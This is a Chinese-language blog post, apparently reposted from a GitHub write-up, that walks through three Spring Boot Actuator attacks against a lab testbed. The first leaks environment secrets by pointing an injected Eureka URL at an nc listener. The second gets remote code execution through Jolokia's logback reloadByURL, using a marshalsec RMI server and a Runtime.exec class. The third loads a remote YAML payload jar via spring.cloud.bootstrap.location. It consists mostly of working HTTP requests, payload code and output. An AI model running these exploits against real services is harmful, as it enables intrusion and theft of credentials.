SpringBoot Actuator RCE 漏洞总结

柔情只为你懂 2024-03-26 16:19 124阅读 0赞

#### **一、SpringBoot env 获取\* 敏感信息**  ####

当我们直接访问 springboot 站点时,可以看到某些 password 字段填充了\*

1.  通过$\{name\} 可以获取明文字段

2. 配置不当导致敏感信息泄露(password 打星号,而 pwd 没有打星号) [![Image 1][]][Image 1 1]

![d6554aa8d121296fac126c6f9d4ddebf.jpeg][]

参考 [https://mp.weixin.qq.com/s/HmGEYRcf1hSVw9Uu9XHGsA][https_mp.weixin.qq.com_s_HmGEYRcf1hSVw9Uu9XHGsA]

具体实现过程:

例如: 我们要获取 pid 参数值

"PID": "10648",

POST /env HTTP/1.1
    Host: 10.20.24.191:8090
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:52.0) Gecko/20100101 Firefox/52.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    Connection: close
    Upgrade-Insecure-Requests: 1
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 76
    
    eureka.client.serviceUrl.defaultZone=http://${PID}@10.20.24.191:2444/

然后 post refresh 任意内容,触发漏洞

Ps: 一般情况需要等待3秒会有响应包，如果立即返回可能是服务缺少spring-boot-starter-actuator扩展包无法刷新漏洞则无法利用

POST /refresh HTTP/1.1
    Host: 10.20.24.191:8090
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:52.0) Gecko/20100101 Firefox/52.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    Connection: close
    Upgrade-Insecure-Requests: 1
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 5
    
    12312

当服务器 nc 监听端口2444 时,接收到

root@kali:/tmp# nc -lvvp 2444
    listening on [any] 2444 ...
    connect to [10.20.24.191] from kali [10.20.24.191] 40960
    GET /xstream/apps/ HTTP/1.1
    Accept: application/json
    DiscoveryIdentity-Name: DefaultClient
    DiscoveryIdentity-Version: 1.4
    DiscoveryIdentity-Id: 10.20.24.191
    Accept-Encoding: gzip
    Host: 10.20.24.191:2444
    Connection: Keep-Alive
    User-Agent: Java-EurekaClient/v1.4.11
    Authorization: Basic MzgzNDY6bnVsbA==

Authorization: Basic MzgzNDY6bnVsbA==

base64 解码得到

root@kali:/tmp# echo MzgzNDY6bnVsbA== |base64 -d
    38346:null

和上面的 pid 信息一样

同样 获取 user.country参数,步骤也一样

结果:

root@kali:/tmp# nc -lvvp 2555
    listening on [any] 2555 ...
    connect to [10.20.24.191] from kali [10.20.24.191] 38994
    GET /xstream/apps/ HTTP/1.1
    Accept: application/json
    DiscoveryIdentity-Name: DefaultClient
    DiscoveryIdentity-Version: 1.4
    DiscoveryIdentity-Id: 10.20.24.191
    Accept-Encoding: gzip
    Host: 10.20.24.191:2555
    Connection: Keep-Alive
    User-Agent: Java-EurekaClient/v1.4.11
    Authorization: Basic VVM6bnVsbA==
    
     sent 0, rcvd 310

base64 解码得到

root@kali:/tmp# echo VVM6bnVsbA== |base64 -d
    US:null

脚本化：

输入要查询的参数,输入 nc 监听的端口

[![Image 1][]][Image 1 2]

![b31721ff3573bfcb21a3356a9b69ba36.jpeg][]

监听端口,获取指定 header 头,自动 base64 解密

[![Image 1][]][Image 1 3]

![48198cce761cccae448c6784fbef84bd.jpeg][]

![7b89f536b621d4ab99006b1cfb6e2c19.jpeg][]

Ps: 如果您很幸运在目标类路径中具有Eureka-Client <1.8.7(通常包含在Spring Cloud Netflix中)，则可以利用其中的XStream反序列化漏洞。

例如: User-Agent: Java-EurekaClient/v1.4.11

#### **二、SpringBoot\_Actuator JNDI RCE** ####

##### **1. 环境搭建** #####

git clone https://github.com/veracode-research/actuator-testbed

启动

mvn install
    或
    mvn spring-boot:run

通过编译运行,发现监听IP 地址为 127.0.0.1,只能本机访问 百度查找,修改为 0.0.0.0 就好了

查找关键文件

grep -r 'server.address' -n ./

./src/main/resources/application.properties:2:server.address=127.0.0.1
    ./target/classes/application.properties:2:server.address=127.0.0.1

改为

server.port=8090
    server.address=0.0.0.0
    
    # vulnerable configuration set 0: spring boot 1.0 - 1.4
    # all spring boot versions 1.0 - 1.4 expose actuators by default without any parameters
    # no configuration required to expose them
    
    # safe configuration set 0: spring boot 1.0 - 1.4
    #management.security.enabled=true
    
    # vulnerable configuration set 1: spring boot 1.5+
    # spring boot 1.5+ requires management.security.enabled=false to expose sensitive actuators
    #management.security.enabled=false
    
    # safe configuration set 1: spring boot 1.5+
    # when 'management.security.enabled=false' but all sensitive actuators explicitly disabled
    #management.security.enabled=false
    
    # vulnerable configuration set 2: spring boot 2+
    #management.endpoints.web.exposure.include=*

##### **2.重启启动** #####

mvn spring-boot:run

或

/opt/jdk1.8.0_60//bin/java -classpath /opt/apache-maven-3.6.2/boot/plexus-classworlds-2.6.0.jar -Dclassworlds.conf=/opt/apache-maven-3.6.2/bin/m2.conf -Dmaven.home=/opt/apache-maven-3.6.2 -Dlibrary.jansi.path=/opt/apache-maven-3.6.2/lib/jansi-native -Dmaven.multiModuleProjectDirectory=/root/actuator/actuator-testbed org.codehaus.plexus.classworlds.launcher.Launcher spring-boot:run

稍等片刻

root@kali:~/actuator/actuator-testbed# netstat -ntpl |grep 8090
    tcp6       0      0 :::8090                 :::*                    LISTEN      33666/java
    root@kali:~/actuator/actuator-testbed#

[http://10.20.24.191:8090/][http_10.20.24.191_8090]

[![Image 1][]][Image 1 4]

![44b6c823358668d248726d806829a58a.png][]

[http://10.20.24.191:8090/jolokia/list][http_10.20.24.191_8090_jolokia_list]

[![Image 1][]][Image 1 5]

![2f662b848eb644f1556b900daf9e7797.png][]

中 reloadByURL 可以加载远程 url xml 文件

"ch.qos.logback.classic": {
    "Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator": {
    "op": {
    "reloadByURL": {
    "args": [
    {
    "name": "p1",
    "type": "java.net.URL",
    "desc": ""
    }
    ],
    "ret": "void",
    "desc": "Operation exposed for management"
    }

##### **3.http 服务存放logback.xml,ExportObject.class** #####

logback.xml 文件内容

[![Image 1][]][Image 1 6]

![8ce82ad6a270474c854762b140787a36.png][]

ExportObject.java

import java.io.BufferedReader;
    import java.io.InputStream;
    import java.io.InputStreamReader;
    
    public class ExportObject {
       public ExportObject() throws Exception {
          Process var1 = Runtime.getRuntime().exec("touch /tmp/jas502n");
          InputStream var2 = var1.getInputStream();
          BufferedReader var3 = new BufferedReader(new InputStreamReader(var2));
    
          String var4;
          while((var4 = var3.readLine()) != null) {
             System.out.println(var4);
          }
    
          var1.waitFor();
          var2.close();
          var3.close();
          var1.destroy();
       }
    
       public static void main(String[] var0) throws Exception {
       }
    }

##### **4.RCE触发** #####

监听 rmi 端口

root@kali:~/ldap_rmi# cat rmi.sh
    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://10.20.24.191:8000/#ExportObject
    
    
    root@kali:~/ldap_rmi# ./rmi.sh
    * Opening JRMP listener on 1099
    Have connection from /10.20.24.191:43878
    Reading message...
    Is RMI.lookup call for ExportObject 2
    Sending remote classloading stub targeting http://10.20.24.191:8000/ExportObject.class
    Closing connection

浏览器访问加载远程logback.xml文件进行解析,

服务器访问恶意jndi 地址,导致恶意字节码代码执行

http://10.20.24.191:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/10.20.24.191:8000!/logback.xml

[![Image 1][]][Image 1 7]

![7ded753bfb7bac3ae27b0dd78085d975.png][]

##### **5. 命令执行成功** #####

root@kali:/var/www/html# ls /tmp/j*
    /tmp/jas502n
    root@kali:/var/www/html#

#### 三、YML RCE 漏洞 ####

通过Spring环境spring.cloud.bootstrap.location 属性修改来实现RCE的方法更可靠

该属性用于加载外部配置并以YAML格式解析它。 为了实现这一点，任需要POST /refresh 任意内容触发漏洞。yaml\_payload.yml 文件内容：

!!javax.script.ScriptEngineManager [
      !!java.net.URLClassLoader [[
        !!java.net.URL ["http://10.20.24.191:8000/yaml_payload.jar"]
      ]]
    ]

##### **1.yaml\_payload.jar 制造** #####

代码 https://github.com/artsploit/yaml-payload

![afb8f2ca31d3f3d8b9e90fe673b1c0b4.jpeg][]

AwesomeScriptEngineFactory.java 部分代码

import javax.script.ScriptEngine;
    import javax.script.ScriptEngineFactory;
    import java.io.IOException;
    import java.util.List;
    
    public class AwesomeScriptEngineFactory implements ScriptEngineFactory {
    
        public AwesomeScriptEngineFactory() {
            try {
                Runtime.getRuntime().exec("touch /tmp/success");
            } catch (IOException e) {
                e.printStackTrace();
            }
        }

ymal\_payload.jar\\artsploit\\AwesomeScriptEngineFactory.java

包含实际的字节码，并在构造函数中带有恶意有效载荷。

ymal\_payload.jar\\services\\javax.script.ScriptEngineFactory

只是一个包含对'artsploit.AwesomeScriptEngineFactory'的完整引用的文本文件， 以便ServiceLoader知道在哪里可以找到该类

内容：artsploit.AwesomeScriptEngineFactory

jar 文件存在到http服务器中

[http://10.20.24.191:8090/ymal\_payload.jar][http_10.20.24.191_8090_ymal_payload.jar]

##### **2.Set spring.cloud.bootstrap.location** #####

spring.cloud.bootstrap.location=http://10.20.24.191:8090/yaml\_payload.yml

![4fd6f650796d8a5fa69bdd6977cdbf56.png][]

POST /env HTTP/1.1
    Host: 10.20.24.191:8090
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    X-Forwarded-For: 127.0.0.1
    Connection: close
    Upgrade-Insecure-Requests: 1
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 73
    
    spring.cloud.bootstrap.location=http://10.20.24.191:8000/yaml_payload.yml

##### **3.refresh post任意内容，RCE 漏洞触发** #####

![4773f7a8c82f11ee906f8f9a3f7c5018.png][]

POST /refresh HTTP/1.1
    Host: 10.20.24.191:8090
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    X-Forwarded-For: 127.0.0.1
    Connection: close
    Upgrade-Insecure-Requests: 1
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 5
    
    12312

##### **4.RCE 执行成功** #####

![97a8c186158136936266d73d0988bac5.jpeg][]

root@kali:/var/www/html# ls /tmp/succ*
    /tmp/success
    root@kali:/var/www/html#

Ps: 与Eureka的XStream有效负载相比，yaml的方法甚至可以在最新版本中使用。

参考链接

https://www.veracode.com/blog/research/exploiting-spring-boot-actuators

原文链接： https://github.com/jas502n/SpringBoot_Actuator_RCE

[Image 1]: 
[Image 1 1]: https://github.com/jas502n/SpringBoot_Actuator_RCE/blob/master/pwd.png
[d6554aa8d121296fac126c6f9d4ddebf.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/26/b8626d740a544eda995c883ce0fe5de3.png
[https_mp.weixin.qq.com_s_HmGEYRcf1hSVw9Uu9XHGsA]: https://mp.weixin.qq.com/s/HmGEYRcf1hSVw9Uu9XHGsA
[Image 1 2]: https://github.com/jas502n/SpringBoot_Actuator_RCE/blob/master/send_env.png
[b31721ff3573bfcb21a3356a9b69ba36.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/26/95f4ca4340ee4d7bb2e107e399229570.png
[Image 1 3]: https://github.com/jas502n/SpringBoot_Actuator_RCE/blob/master/password.png
[48198cce761cccae448c6784fbef84bd.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/26/0278e28285b045a39618c2941c0e1b59.png
[7b89f536b621d4ab99006b1cfb6e2c19.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/26/bb291ab763784f6bb2fd9bb2ccd8fe77.png
[http_10.20.24.191_8090]: http://10.20.24.191:8090/
[Image 1 4]: https://github.com/jas502n/SpringBoot_Actuator_RCE/blob/master/spring.png
[44b6c823358668d248726d806829a58a.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/26/5f4416291b1145618a789ad178327c74.png
[http_10.20.24.191_8090_jolokia_list]: http://10.20.24.191:8090/jolokia/list
[Image 1 5]: https://github.com/jas502n/SpringBoot_Actuator_RCE/blob/master/reloadByURL.png
[2f662b848eb644f1556b900daf9e7797.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/26/f0632d529a354dd5ab6b60bcb058ee26.png
[Image 1 6]: https://github.com/jas502n/SpringBoot_Actuator_RCE/blob/master/logback.png
[8ce82ad6a270474c854762b140787a36.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/26/3ce79df9ef4641ef8156cabae5f8b802.png
[Image 1 7]: https://github.com/jas502n/SpringBoot_Actuator_RCE/blob/master/RCE_GET.png
[7ded753bfb7bac3ae27b0dd78085d975.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/26/18a477f8cdfd4411b34998751f33b776.png
[afb8f2ca31d3f3d8b9e90fe673b1c0b4.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/26/ddacf32881b84dea9d761b9821a3fe29.png
[http_10.20.24.191_8090_ymal_payload.jar]: http://10.20.24.191:8090/ymal_payload.jar
[4fd6f650796d8a5fa69bdd6977cdbf56.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/26/76515c4810c642228505fbc3c2ed501a.png
[4773f7a8c82f11ee906f8f9a3f7c5018.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/26/c064f1d65d42454f810749c23ebb4368.png
[97a8c186158136936266d73d0988bac5.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/26/713606f6341644f69d3a67ba616e1598.png